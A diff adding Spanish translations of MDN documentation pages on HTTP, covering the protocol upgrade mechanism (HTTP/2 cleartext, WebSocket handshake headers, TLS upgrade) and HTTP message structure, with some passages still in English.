+ <dd>Los campos de respuesta en la cabecera {{HTTPHeader("Content-Security-Policy")}} permiten a los administradores de sitios web controlar los recursos que el agente de usuario tiene permitido cargar en cierta página. Con unas pocas excepciones, las políticas implican origenes específicos del servidor y  los puntos finales de los scripts.</dd>
+</dl>
+
+<h2 id="Herramientas_y_recursos">Herramientas y recursos</h2>
+
+<p>Herramientas útiles para usar y revisar conexiones HTTP.</p>
+
+<dl>
+ <dt><a href="/es/docs/Tools">Firefox Developer Tools</a></dt>
+ <dd><a href="/es/docs/Tools/Network_Monitor">Network monitor</a> (monitor de red)</dd>
+ <dt><a href="https://observatory.mozilla.org/">Mozilla Observatory</a> (observatorio de Mozilla)</dt>
+ <dd>
+ <p>Proyecto diseñado para ayudar a desarrolladores, adminitradores de sistemas y profesionales de la seguridad a configurar sus sitios web de forma segura y protegida.</p>
+ </dd>
+ <dt><a href="https://redbot.org/">RedBot</a></dt>
+ <dd>Una herramienta para comprobar el estado de las cabeceras de caché.</dd>
+ <dt><a href="https://www.html5rocks.com/es/tutorials/internals/howbrowserswork/">Cómo trabajan los navegadores</a></dt>
+ <dd>Artículo muy exhaustivo sobre el trabajo interno de los navegadores y el flujo de las peticiones a través del protocólo HTTP. Una lectura OBLIGATORIA para cualquier desarrollador web.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/es/web/http/mecanismo_actualizacion_protocolo/index.html b/files/es/web/http/mecanismo_actualizacion_protocolo/index.html
new file mode 100644
index 0000000000..74ef3b57f7
--- /dev/null
+++ b/files/es/web/http/mecanismo_actualizacion_protocolo/index.html
@@ -0,0 +1,246 @@
+---
+title: Mecanismo de actualización del protocolo
+slug: Web/HTTP/mecanismo_actualizacion_protocolo
+translation_of: Web/HTTP/Protocol_upgrade_mechanism
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary">El protocolo <a href="/en/HTTP" title="en/HTTP">HTTP</a> posee un mecanismo especifico para permitir que una conexión de comunicación ya establecida, pueda actualizar su protocolo a un nuevo protocolo, incluso si es incompatible. Este documento muestra este mecanismo y presenta ejemplos de posibles escenarios en los que se puede usar. </span></p>
+
+<p>Este mecanismo, siempre es iniciado por el cliente (con la única excepción de que el servidor use: {{anch("Server-initiated upgrade to TLS", "requerida actualización a TLS")}}), y el servidor puede aceptar o rechazar el cambio al nuevo protocolo. Esto hace posible comenzar una conexión usando un protocolo de uso común, como puede ser HTTP/1.1, y posteriormente pedir un cambio de protocolo a HTTP/2.0 o incluso WebSockets.</p>
+
+<h2 id="Acuerdo_de_conexión_(handshake)">Acuerdo de conexión (handshake)</h2>
+
+<p>Las actualizaciones del protocolo de comunicación son siempre iniciadas por el cliente; no hay un mecanismo establecido  para que el servidor pida un cambio de protocolo. Cuando el cliente desea una actualización a un nuevo protocolo, lo hace mandando una petición normal al servidor con cualquier método ({{HTTPMethod("GET")}}, {{HTTPMethod("POST")}}, etc.). La petición ha de configurarse de manera especial, para que incluya en ella, la petición de actualización del protocolo. </p>
+
+<p>Específicamente la petición ha de incluir las dos siguientes cabeceras:</p>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/HTTP/Headers/Connection">Connection: Upgrade</a></code></dt>
+ <dd>La cabecera de conexión (<code>Connection</code>) ha de tener el valor <code>"Upgrade"</code>, para indicar que se está pidiendo una actualización del protocolo.</dd>
+ <dt><code><a href="/en-US/docs/Web/HTTP/Headers/Upgrade">Upgrade: protocols</a></code></dt>
+ <dd>La cabecera de actualización (<code>Upgrade</code>) indica los protocolos deseados, en orden de preferencia, separados por comas.</dd>
+</dl>
+
+<p>Puede que sean necesarias otras cabeceras, dependiendo del protocolo que se pida.; por ejemplo: las actualizaciones a <a href="/en-US/docs/Web/API/WebSocket">WebSocket</a> necesitan cabeceras adicionales para definir la configuración de la conexión, así como para detalles de la seguridad. Para más detalles, lea la sección: {{anch("Upgrading to a WebSocket connection")}}.</p>
+
+<p>El servidor, puede negarse a la actualización en este caso. Y este simplemente ignora la cabecera de actualización (<code>"Upgrade"</code>) y responde con un estado normal, ( <code>"200 OK"</code> si todo es correcto, o <code>30x</code> si quiere hacer una redirección, o <code>40x</code> ó <code>50x</code>  si no puede responder con el recurso requerido) — O puede  aceptar la actualización del protocolo de comunicación. En este caso, responde con un código <code>"101 Switching Protocols"</code>  y con una cabecera <code>Upgrade</code> que indica el protocolo elegido.</p>
+
+<p>Justo después de enviar el código de estado  <code>"101 Switching Protocols"</code> se procederá a realizar el acuerdo de conexión (corresponde con el termino: 'handshake' en inglés). Si el nuevo protocolo lo necesitase, el servidor, enviaría una la respuesta a la petición inicial (la que contenía la cabecera de <code>"Upgrade"</code> ) , de acuerdo a las reglas del protocolo. </p>
+
+<h2 id="El_código_de_estado_101">El código de estado 101</h2>
+
+<p>El código de estado {{HTTPStatus(101)}} se manda en respuesta a una petición que contenga la cabecera de <code>"Upgrade"</code> para indicar que el emisor de la petición desea actualizar el protocolo de comunicación. Si se responde con el código de estado <code>"101 Switching Protocols"</code>, se han de incluir también  las cabeceras <code>Connection</code> y <code>Upgrade</code> para definir el protocolo elegido. Más adelante en el texto se dan más detalles del funcionamiento de este mecanismo y ejemplos.</p>
+
+<p>Se puede utilizar el mecanismo de actualización del protocolo para pasar de una conexión en HTTP/1.1 a una conexión con HTTP/2, pero no se permite cambiar el protocolo en el otro sentido. De hecho, el código de estado  <code>"101 Switching Protocols"</code>, no está incluido en HTTP/2, ya que HTTP/2 no posee el mecanismo de actualización de protocolo. </p>
+
+<h2 id="Usos_frecuentes_del_mecanismo_de_actualización_de_protocolo">Usos frecuentes del mecanismo de actualización de protocolo</h2>
+
+<p>A continuación se presentan los casos más frecuentes del mecanismo de actualización de protocolo, mediante el uso de la cabecera <code>"Upgrade"</code>. </p>
+
+<h3 id="Actualización_a_una_conexión_con_HTTP2">Actualización a una conexión con HTTP/2</h3>
+
+<p>El procedimiento estándar, es iniciar una conexión usando HTTP/1.1, debido a su amplio uso. Y a continuación, hacer una petición de actualización de protocolo, a HTTP/2. De esta manera, se tiene una conexión de comunicaciones, incluso si el servidor no soporta protocolo HTTP/2. De todas formas, únicamente es posible actualizar el protocolo, a una versión de HTTP/2 no segura (no encriptada). Esto se realiza indicando el protocolo deseado como: <code>h2c</code>, que indica "HTTP/2 Cleartext". Además es necesario que se defina en los campos de cabecera las propiedades <code>HTTP2-Settings</code>. </p>
+
+<pre>GET / HTTP/1.1
+Host: destination.server.ext
+Connection: Upgrade, HTTP2-Settings
+Upgrade: h2c
+HTTP2-Settings: <em>base64EncodedSettings</em>
+</pre>
+
+<p>Aquí, <code>base64EncodedSettings</code> es una propiedad de HTTP/2 <code>"SETTINGS"</code> del contenido de la trama que se expresa en formato <code>base64url</code>, seguido de un carácter de igual, <code>"="</code>,  omitido aquí para que se pudiera incluir en esta cabecera expresada en texto.</p>
+
+<div class="note">
+<p>El formato <a href="https://tools.ietf.org/html/rfc4648#section-5">base64url</a> fno es el mismo que el formato estándar Base64.  La única diferencia es que para asegurar que la cadena de caracteres es segura para que pueda usarse con URLs y nombres de archivos, los caracteres 62 y 63 en el alfabeto de este formato se cambian de : <code>"+"</code> y <code>"/"</code> a: <code>"-"</code> (menos) y <code>"_"</code>  respectivamente.</p>
+</div>
+
+<p>Si el servidor no puede hacer el cambio a HTTP/2, este responderá en HTTP/1 como si fuera una petición normal (con los códigos: <code>"200 OK"</code> si todo es correcto, o <code>30x</code> si quiere hacer una redirección, o <code>40x</code> ó <code>50x</code>  si no puede responder con el recurso pedido). Así una petición de una página que exista será respondida con <code>"HTTP/1.1 200 OK"</code>  seguido del resto de la cabecera de la página. Si el servidor, si que puede cambiar al protocolo HTTP/2 , la respuesta será:  "<code>HTTP/1.1 101 Switching Protocols"</code>. A continuación, se presenta un ejemplo de una posible respuesta, a una petición de actualización a HTTP/2.</p>
+
+<pre>HTTP/1.1 101 Switching Protocols
+Connection: Upgrade
+Upgrade: h2c
+
+<em>[standard HTTP/2 server connection preface, etc.]</em></pre>
+
+<p>A continuación de la línea en blanco, que sigue al final de la cabecera de respuesta; el servidor, indicará los parámetros ("<code>SETTINGS"</code>) de la nueva comunicación con HTTP/2.</p>
+
+<h3 id="Mejorar_a_una_conexión_WebSocket">Mejorar a una conexión WebSocket</h3>
+
+<p>By far, the most common use case for upgrading an HTTP connection is to use WebSockets, which are always implemented by upgrading an HTTP or HTTPS connection. Keep in mind that if you're opening a new connection using the <a href="/en-US/docs/Web/API/WebSocket">WebSocket API</a>, or any library that does WebSockets, most or all of this is done for you. For example, opening a WebSocket connection is as simple as:</p>
+
+<pre class="brush: js">webSocket = new WebSocket("ws://destination.server.ext", "optionalProtocol");</pre>
+
+<p>The {{domxref("WebSocket.WebSocket", "WebSocket()")}} constructor does all the work of creating an initial HTTP/1.1 connection then handling the handshaking and upgrade process for you.</p>
+
+<div class="note">
+<p>You can also use the <code>"wss://"</code> URL scheme to open a secure WebSocket connection.</p>
+</div>
+
+<p>If you need to create a WebSocket connection from scratch, you'll have to handle the handshaking process yourself. After creating the initial HTTP/1.1 session, you need to request the upgrade by adding to a standard request the {{HTTPHeader("Upgrade")}} and {{HTTPHeader("Connection")}} headers, as follows:</p>
+
+<pre>Connection: Upgrade
+Upgrade: websocket</pre>
+
+<h3 id="Cabeceras_específicas_de_WebSocket">Cabeceras específicas de WebSocket</h3>
+
+<p>The following headers are involved in the WebSocket upgrade process. Other than the {{HTTPHeader("Upgrade")}} and {{HTTPHeader("Connection")}} headers, the rest are generally optional or handled for you by the browser and server when they're talking to each other.</p>
+
+<h4 id="HTTPHeader(Sec-WebSocket-Extensions)">{{HTTPHeader("Sec-WebSocket-Extensions")}}</h4>
+
+<p>Specifies one or more protocol-level WebSocket extensions to ask the server to use. Using more than one <code>Sec-WebSocket-Extension</code> header in a request is permitted; the result is the same as if you included all of the listed extensions in one such header.</p>
+
+<pre class="syntaxbox">Sec-WebSocket-Extensions: <em>extensions</em></pre>
+
+<dl>
+ <dt><code>extensions</code></dt>
+ <dd>A comma-separated list of extensions to request (or agree to support). These should be selected from the <a href="https://www.iana.org/assignments/websocket/websocket.xml#extension-name">IANA WebSocket Extension Name Registry</a>. Extensions which take parameters do so using semicolon delineation.</dd>
+</dl>
+
+<p>For example:</p>
+
+<pre>Sec-WebSocket-Extensions: superspeed, colormode; depth=16</pre>
+
+<h4 id="HTTPHeader(Sec-WebSocket-Key)">{{HTTPHeader("Sec-WebSocket-Key")}}</h4>
+
+<p>Provides information to the server which is needed in order to confirm that the client is entitled to request an upgrade to WebSocket. This header can be used when insecure (HTTP) clients wish to upgrade, in order to offer some degree of protection against abuse. The value of the key is computed using an algorithm defined in the WebSocket specification, so this <em>does not provide security</em>. Instead, it helps to prevent non-WebSocket clients from inadvertently, or through misuse, requesting a WebSocket connection. In essence, then, this key simply confirms that "Yes, I really mean to open a WebSocket connection."</p>
+
+<p>This header is automatically added by clients that choose to use it; it cannot be added using the {{domxref("XMLHttpRequest.setRequestHeader()")}} method.</p>
+
+<pre class="syntaxbox">Sec-WebSocket-Key: <em>key</em></pre>
+
+<dl>
+ <dt><code>key</code></dt>
+ <dd>The key for this request to upgrade. The client adds this if it wishes to do so, and the server will include in the response a key of its own, which the client will validate before delivering the upgrade reponse to you.</dd>
+</dl>
+
+<p>The server's response's <code>Sec-WebSocket-Accept</code> header will have a value computed based upon the specified <code>key</code>.</p>
+
+<h4 id="HTTPHeader(Sec-WebSocket-Protocol)">{{HTTPHeader("Sec-WebSocket-Protocol")}}</h4>
+
+<p>The <code>Sec-WebSocket-Protocol</code> header specifies one or more WebSocket protocols that you wish to use, in order of preference. The first one that is supported by the server will be selected and returned by the server in a <code>Sec-WebSocket-Protocol</code> header included in the response. You can use this more than once in the header, as well; the result is the same as if you used a comma-delineated list of subprotocol identifiers in a single header.</p>
+
+<pre class="syntaxbox">Sec-WebSocket-Protocol: <em>subprotocols</em></pre>
+
+<dl>
+ <dt><code>subprotocols</code></dt>
+ <dd>A comma-separated list of subprotocol names, in the order of preference. The subprotocols may be selected from the <a href="https://www.iana.org/assignments/websocket/websocket.xml#subprotocol-name">IANA WebSocket Subprotocol Name Registry</a> or may be a custom name jointly understood by the client and the server.</dd>
+</dl>
+
+<h4 id="HTTPHeader(Sec-WebSocket-Version)">{{HTTPHeader("Sec-WebSocket-Version")}}</h4>
+
+<h5 id="Encabezado_de_petición">Encabezado de petición</h5>
+
+<p>Specifies the WebSocket protocol version the client wishes to use, so the server can confirm whether or not that version is supported on its end.</p>
+
+<pre class="syntaxbox">Sec-WebSocket-Version: <em>version</em></pre>
+
+<dl>
+ <dt><code>version</code></dt>
+ <dd>The WebSocket protocol version the client wishes to use when communicating with the server. This number should be the most recent version possible listed in the <a href="https://www.iana.org/assignments/websocket/websocket.xml#version-number">IANA WebSocket Version Number Registry</a>. The most recent final version of the WebSocket protocol is version 13.</dd>
+</dl>
+
+<h5 id="Encabezado_de_respuesta">Encabezado de respuesta</h5>
+
+<p>If the server can't communicate using the specified version of the WebSocket protocol, it will respond with an error (such as 426 Upgrade Required) that includes in its headers a <code>Sec-WebSocket-Version</code> header with a comma-separated list of the supported protocol versions. If the server does support the requested protocol version, no <code>Sec-WebSocket-Version</code> header is included in the response.</p>
+
+<pre class="syntaxbox">Sec-WebSocket-Version: <em>supportedVersions</em></pre>
+
+<dl>
+ <dt><code>supportedVersions</code></dt>
+ <dd>A comma-delineated list of the WebSocket protocol versions supported by the server.</dd>
+</dl>
+
+<h3 id="Cabeceras_exclusivas_de_respuesta">Cabeceras exclusivas de respuesta</h3>
+
+<p>The response from the server may include these.</p>
+
+<h4 id="HTTPHeader(Sec-WebSocket-Accept)">{{HTTPHeader("Sec-WebSocket-Accept")}}</h4>
+
+<p>Included in the response message from the server during the opening handshake process when the server is willing to initiate a WebSocket connection. It will appear no more than once in the repsonse headers.</p>
+
+<pre class="syntaxbox">Sec-WebSocket-Accept: <em>hash</em></pre>
+
+<dl>
+ <dt><code>hash</code></dt>
+ <dd>If a <code>Sec-WebSocket-Key</code> header was provided, the value of this header is computed by taking the value of the key, concatenating the string "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" to it, taking the {{interwiki("wikipedia", "SHA-1")}} hash of that concatenated string, resulting in a 20-byte value. That value is then <a href="/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">base64</a> encoded to obtain the value of this property.</dd>
+</dl>
+
+<h3 id="Mejora_a_HTTP_sobre_TLS_iniciada_por_el_cliente">Mejora a HTTP sobre TLS iniciada por el cliente</h3>
+
+<p>You can also upgrade an HTTP/1.1 connection to TLS/1.0. The main advantages to this are that you can avoid using URL redirection from "http://" to "https://" on the server and you can easily use TLS on virtual hosts. This may, however, introduce problems with proxy servers.</p>
+
+<p>Upgrading an HTTP connection to use {{Glossary("TLS")}} uses the {{HTTPHeader("Upgrade")}} header with the token <code>"TLS/1.0"</code>. If the switch is made successfully, the original request (which included <code>Upgrade</code>) is completed as normal, but on the TLS connection.</p>
+
+<p>The request to TLS can be made either optionally or mandatorily.</p>
+
+<h4 id="Mejora_opcional">Mejora opcional</h4>
+
+<p>To upgrade to TLS optionally (that is, allowing the connection to continue in cleartext if the upgrade to TLS fails), you simply use the <code>Upgrade</code> and {{HTTPHeader("Connection")}} headers as expected. For example, given the original request:</p>
+
+<pre>GET http://destination.server.ext/secretpage.html HTTP/1.1
+Host: destination.server.ext
+Upgrade: TLS/1.0
+Connection: Upgrade</pre>
+
+<p>If the server <em>does not</em> support TLS upgrade, or is unable to upgrade to TLS at the time, it responds with a standard HTTP/1.1 response, such as:</p>
+
+<pre>HTTP/1.1 200 OK
+Date: Thu, 17 Aug 2017 21:07:44 GMT
+Server: Apache
+Last-Modified: Thu, 17 Aug 2017 08:30:15 GMT
+Content-Type: text/html; charset=utf-8
+Content-Length: 31374
+
+&lt;html&gt;
+  ...
+&lt;/html&gt;
+</pre>
+
+<p>If the server <em>does</em> support TLS upgrade and wishes to permit the upgrade, it responds with the <code>"101 Switching Protocols"</code> response code, like this:</p>
+
+<pre>HTTP/1.1 101 Switching Protocols
+Upgrade: TLS/1.0, HTTP/1.1</pre>
+
+<p>Once the TLS handshake is complete, the original request will be responded to as normal.</p>
+
+<h4 id="Mejora_obligatoria">Mejora obligatoria</h4>
+
+<p>To request a mandatory upgrade to TLS—that is, to upgrade and fail the connection if the upgrade is not successful—your first request must be an {{HTTPMethod("OPTIONS")}} request, like this:</p>
+
+<pre>OPTIONS * HTTP/1.1
+Host: destination.server.ext
+Upgrade: TLS/1.0
+Connection: Upgrade</pre>
+
+<p>If the upgrade to TLS succeeds, the server will respond with <code>"101 Switching Protocols"</code> as described in the previous section. If the upgrade fails, the HTTP/1.1 connection will fail.</p>
+
+<h3 id="Mejora_a_TLS_iniciada_por_el_servidor">Mejora a TLS iniciada por el servidor</h3>
+
+<p>This works roughly the same way as a client-initiated upgrade; an optional upgrade is requested by adding the {{HTTPHeader("Upgrade")}} header to any message. A mandatory upgrade, though, works slightly differently, in that it requests the upgrade by replying to a message it receives with the {{HTTPStatus(426)}} status code, like this:</p>
+
+<pre>HTTP/1.1 426 Upgrade Required
+Upgrade: TLS/1.1, HTTP/1.1
+Connection: Upgrade
+
+&lt;html&gt;
+... Human-readable HTML page describing why the upgrade is required
+    and what to do if this text is seen ...
+&lt;/html&gt;</pre>
+
+<p>If the client receiving the <code>"426 Upgrade Required"</code> response is willing and able to upgrade to TLS, it should then start the same process covered above under {{anch("Client-initiated upgrade to TLS")}}.</p>
+
+<h2 id="Referencias">Referencias</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebSocket">WebSocket API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+ <li>Especificaciones y RFCs:
+  <ul>
+   <li>{{RFC(2616)}}</li>
+   <li>{{RFC(6455)}}</li>
+   <li>{{RFC(2817)}}</li>
+   <li>{{RFC(7540)}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/es/web/http/messages/index.html b/files/es/web/http/messages/index.html
new file mode 100644
index 0000000000..2db354a166
--- /dev/null
+++ b/files/es/web/http/messages/index.html
@@ -0,0 +1,140 @@
+---
+title: Mensajes HTTP
+slug: Web/HTTP/Messages
+translation_of: Web/HTTP/Messages
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">Los mensajes HTTP, son los medios por los cuales se intercambian datos entre servidores y clientes. Hay dos tipos de mensajes: <em>peticiones</em>, enviadas por el cliente al servidor, para pedir el inicio de una acción; y <em>respuestas</em>, que son la respuesta del servidor. </p>
+
+<p>Los mensajes HTTP están compuestos de texto, codificado en ASCII, y pueden comprender múltiples líneas. En HTTP/1.1, y versiones previas del protocolo, estos mensajes eran enviados de forma abierta a través de la conexión. En HTTP/2.0 los mensajes, que anteriormente eran legibles directamente, se conforman mediante tramas binarias codificadas para aumentar la optimización y rendimiento de la transmisión.</p>
+
+<p>Los desarrolladores de páginas Web, o administradores de sitios Web, desarrolladores... raramente codifican directamente estos mensajes HTTP. Normalmente especifican estos mensajes HTTP, mediante archivos de configuración (para proxies, y servidores), APIs (para navegadores) y otros medios.</p>
+
+<p><img alt="From a user-, script-, or server- generated event, an HTTP/1.x msg is generated, and if HTTP/2 is in use, it is binary framed into an HTTP/2 stream, then sent." src="https://mdn.mozillademos.org/files/13825/HTTPMsg2.png" style="height: 538px; width: 1174px;"></p>
+
+<p>El mecanismo de tramas binarias de HTTP/2 ha sido diseñado para que no necesite ninguna modificación de las APIs o archivos de configuración utilizados: es totalmente transparente para el usuario.</p>
+
+<p>Las peticiones y respuestas HTTP, comparten una estructura similar, compuesta de:</p>
+
+<ol>
+ <li>Una<em> línea de inicio</em> ('<em>start-line</em>' en inglés) describiendo la petición a ser implementada, o su estado, sea de éxito o fracaso. Esta línea de comienzo, es siempre una única línea. </li>
+ <li>Un grupo opcional de <em>cabeceras HTTP</em>, indicando la petición o describiendo el cuerpo ('<em>body</em>' en inglés) que se incluye en el mensaje. </li>
+ <li>Una línea vacía ('<em>empty-line</em>' en inglés) indicando toda la meta-información ha sido enviada.</li>
+ <li>Un campo de cuerpo de mensaje opcional ('<em>body</em>' en inglés) que lleva los datos asociados con la petición (como contenido de un formulario HTML), o los archivos o documentos asociados a una respuesta (como una página HTML, o un archivo de audio, vídeo ... ) . La presencia del cuerpo y su tamaño es indicada en la línea de inicio y las cabeceras HTTP.</li>
+</ol>
+
+<p>La línea de inicio y las cabeceras HTTP, del mensaje, son conocidas como la <em>cabeza</em> de la peticiones, mientras que su contenido en datos se conoce como el <em>cuerpo</em> del mensaje.</p>
+
+<p><img alt="Requests and responses share a common structure in HTTP" src="https://mdn.mozillademos.org/files/13827/HTTPMsgStructure2.png" style="height: 368px; width: 1239px;"></p>
+
+<h2 id="Peticiones_HTTP">Peticiones HTTP</h2>
+
+<h3 id="Línea_de_inicio">Línea de inicio</h3>
+
+<p>Las peticiones HTTP son mensajes enviados por un cliente, para iniciar una acción en el servidor. Su línea de inicio está formada por tres elementos: </p>
+
+<ol>
+ <li>Un <em><a href="/en-US/docs/Web/HTTP/Methods">método HTTP</a></em>, un verbo como: {{HTTPMethod("GET")}}, {{HTTPMethod("PUT")}} o {{HTTPMethod("POST")}}) o un nombre como: {{HTTPMethod("HEAD")}} o  {{HTTPMethod("OPTIONS")}}), que describan la acción que se pide sea realizada. Por ejemplo, <code>GET</code> indica que un archivo ha de ser enviado hacia el cliente, o <code>POST</code> indica que hay datos que van a ser enviados hacia el servidor (creando o modificando un recurso, o generando un documento temporal para ser enviado).</li>
+ <li>El objetivo de una petición, normalmente es una {{glossary("URL")}}, o la dirección completa del protocolo, puerto y dominio también suelen ser especificados por el contexto de la petición. El formato del objetivo de la petición varia según los distintos métodos HTTP. Puede ser:
+  <ul>
+   <li>Una dirección absoluta, seguida de un signo de cierre de interrogación  <code>'?'</code> y un texto de consulta. Este es el formato más comun, conocido como el formato original ('<em>origin form</em>' en inglés), se usa en los métodos <code>GET</code>, <code>POST</code>, <code>HEAD</code>, y <code>OPTIONS</code> . <br>
+    <code>POST / HTTP 1.1<br>
+    GET /background.png HTTP/1.0<br>
+    HEAD /test.html?query=alibaba HTTP/1.1<br>
+    OPTIONS /anypage.html HTTP/1.0</code></li>
+   <li>Una URL completa; conocido como el formato absoluto, usado mayormente con <code>GET</code> cuando se conecta a un proxy.<br>
+    <code>GET http://developer.mozilla.org/en-US/docs/Web/HTTP/Messages HTTP/1.1</code></li>
+   <li>El componente de autoriade de una URL, formado por el nombre del domínio y opcionalmente el puerto (el puerto precedido por el simbolo <code>':'</code> ), se denomina a este formato como el formato de autoridad. Unicamente se usa con  <code>CONNECT</code> cuando se establece un tunel HTTP.<br>
+    <code>CONNECT developer.mozilla.org:80 HTTP/1.1</code></li>
+   <li>El formato de asterisco, se utliza un asterisco (<code>'*'</code>)  junto con las opciones: <code>OPTIONS</code> , representando al servidor entero en conjunto. <br>
+    <code>OPTIONS * HTTP/1.1</code></li>
+  </ul>
+ </li>
+ <li>la versión de HTTP, la cual define la estructura de los mensajes, actuando como indicador, de la versión que espera que se use para la respuesta.</li>
+</ol>
+
+<h3 id="Cabeceras">Cabeceras</h3>
+
+<p>Las <a href="/en-US/docs/Web/HTTP/Headers">cabeceras HTTP</a>  de una petición siguen la misma estructura que la de una cabecera HTTP. Una cadena de caracteres, que no diferencia mayusculas ni minusculas, seguida por dos puntos  (<code>':'</code>)  y un valor cuya estructura depende de la cabecera. La cabecera completa, incluido el valor, ha de ser formada en una única línea, y pude ser bastante larga. </p>
+
+<p>Hay bastantes cabeceras posibles. Estas se pueden clasificar en varios grupos: </p>
+
+<ul>
+ <li><em>Cabeceras generales,</em> ('<em>General headers</em>' en inglés), como {{HTTPHeader("Via")}},  afectan al mensaje como una unidad completa.</li>
+ <li>Cabeceras de petición, ('<em>Request headers</em>' en inglés), como {{HTTPHeader("User-Agent")}}, {{HTTPHeader("Accept-Type")}}, modifican la petición especificándola en mayor detalle ( como: {{HTTPHeader("Accept-Language")}}, o dándole un contexto, como:  {{HTTPHeader("Referer")}}, o restringiéndola condicionalmente, como: {{HTTPHeader("If-None")}}.</li>
+ <li><em>Cabeceras de entidad, ('Entity headers' </em>en ingles), como {{HTTPHeader("Content-Length")}} las cuales se aplican al cuerpo de la petición. Por supuesto, esta cabecera no necesita ser transmitida si el mensaje no tiene cuerpo ('<em>body</em>' en inglés). </li>
+</ul>
+
+<p><img alt="Example of headers in an HTTP request" src="https://mdn.mozillademos.org/files/13821/HTTP_Request_Headers2.png" style="height: 280px; width: 872px;"></p>
+
+<h3 id="Cuerpo">Cuerpo</h3>
+
+<p>La parte final de la petición el el cuerpo. No todas las peticiones llevan uno: las peticiones que reclaman datos, como <code>GET</code>, <code>HEAD</code>, <code>DELETE</code>, o <code>OPTIONS</code>, normalmente, no necesitan ningún cuerpo. Algunas peticiones pueden mandar peticiones al servidor con el fin de actualizarlo: como es el caso con la petición <code>POST</code>  (que contiene datos de un formulario HTML). </p>
+
+<p>Los cuerpos pueden ser dividos en dos categorias:</p>
+
+<ul>
+ <li>Cuerpos con un único dato, que consisten en un único archivo defindo por las dos cabeceras: {{HTTPHeader("Content-Type")}} y {{HTTPHeader("Content-Length")}}.   </li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#multipartform-data">Cuerpos con múltiples datos</a>, que están formados por distintos contenidos, normalmente estan asociados con los <a href="/en-US/docs/Web/Guide/HTML/Forms">formularios HTML</a>. </li>
+</ul>
+
+<h2 id="Respuestas_HTTP">Respuestas HTTP</h2>
+
+<h3 id="Línea_de_estado">Línea de estado</h3>
+
+<p>La línea de inicio de una respuesta HTTP, se llama la<em> línea de estado</em>, y contienen la siguiente información: </p>
+
+<ol>
+ <li>La <em>versión del protocolo</em>, normalmente <code>HTTP/1.1</code>.</li>
+ <li>Un <em>código de estado</em>, indicando el éxito o fracaso de la petición. Códigos de estado muy comunes son:  {{HTTPStatus("200")}}, {{HTTPStatus("404")}}, o {{HTTPStatus("302")}}</li>
+ <li>Un <em>texto de estado</em>, que es una breve descripción, en texto, a modo informativo, de lo que significa el código de estado, con el fin de que una persona pueda interpretar el mensaje HTTP.</li>
+</ol>
+
+<p>Una línea de estado típica es por ejemplo:  <code>HTTP/1.1 404 Not Found.</code></p>
+
+<h3 id="Cabeceras_2">Cabeceras</h3>
+
+<p>Las <a href="/en-US/docs/Web/HTTP/Headers">cabeceras HTTP</a> para respuestas siguen también la misma estructura como cualquier otra cabecera: una cadena de texto, que no diferencia entre mayusculas y minúsculas, seguida por dos puntos (<code>':'</code>) y un valor cuya estructura depende del tipo de cabecera. Toda la cabecera incluido su valor, se ha de expresar en una única línea. </p>
+
+<p>Existen varias cabeceras posibles. Estas se puede dividir en distintos grupos:</p>
+
+<ul>
+ <li><em>Cabeceras generales,</em> ('<em>General headers</em>' en inglés), como {{HTTPHeader("Via")}},  afectan al mensaje completo.</li>
+ <li>Cabeceras de petición, ('<em>Request headers</em>' en inglés), como {{HTTPHeader("Vary")}} , {{HTTPHeader("Accept-Ranges")}}, dan información adicional sobre el servidor, que no tiene espacio en la línea de estado.</li>
+ <li><em>Cabeceras de entidad, ('Entity headers' </em>en ingles), como {{HTTPHeader("Content-Length")}} las cuales se aplican al cuerpo de la petición. Por supuesto, esta cabecera no necesita ser transmitida si el mensaje no tiene cuerpo ('<em>body</em>' en inglés). </li>
+</ul>
+
+<p>*<img alt="Example of headers in an HTTP response" src="https://mdn.mozillademos.org/files/13823/HTTP_Response_Headers2.png" style="height: 344px; width: 805px;"></p>
+
+<h3 id="Cuerpo_2">Cuerpo</h3>
+
+<p>La última parte del mensaje de respuesta el es 'cuerpo'. No todas las respuestas tienen uno, respuestas con un código de estado como {{HTTPStatus("201")}} o {{HTTPStatus("204")}} normalmente prescinden de él.</p>
+
+<p>De forma general, los cuerpos se pueden diferenciar en tres categorias: </p>
+
+<ul>
+ <li>Cuerpos con un único dato, consisten en un simple archivo, de longitud conocida y definido en las cabeceras: {{HTTPHeader("Content-Type")}} y {{HTTPHeader("Content-Length")}}.</li>
+ <li>Cuerpos con un único dato, consisten en un simple archivo, de longitud desconocida, y codificado en partes, indicadas con {{HTTPHeader("Transfer-Encoding")}} valor <code>chunked</code> (que significa: 'partido' en inglés).</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#multipartform-data">Cuerpos con múltiples datos</a>, consisten de varios datos, cada uno con una sección distinta de información. Este caso es relativamente raro y poco común.</li>
+</ul>
+
+<h2 id="Tramas_HTTP2">Tramas HTTP/2</h2>
+
+<p>Los mensajes HTTP/1.x tienen algunas desventajas por su no muy alta eficiencia en la transmisión.</p>
+
+<ul>
+ <li>Las cabeceras, al contrario de los cuerpos, no se comprimen.</li>
+ <li>Las cabeceras, habitualmente se repiten de un mensaje al siguiente, aún así, la cabecera se repite en todos los mensajes.</li>
+ <li>No se puede multiplexar. Se han de abrir varias conexiones para el mismo servidor, las conexiones TCP 'en caliente' ('<em>warm TCP connections</em>' en inglés) son más eficientes que las conexiones 'en frio'.</li>
+</ul>
+
+<p>HTTP/2 introduce un paso extra: divide los mensajes HTTP/1.x en tramas que integra en un flujo de datos. Los datos y las tramas de las cabeceras, se separan, esto permite  la compresión de las cabeceras. Varios flujos de datos pueden combinarse juntos, y entonces se puede usar un procedimiento de multiplexación, permitiendo un uso más eficiente, de las conexiónes TCP.</p>
+
+<p><img alt="HTTP/2 modify the HTTP message to divide them in frames (part of a single stream), allowing for more optimization." src="https://mdn.mozillademos.org/files/13819/Binary_framing2.png" style="height: 735px; width: 810px;"></p>
+
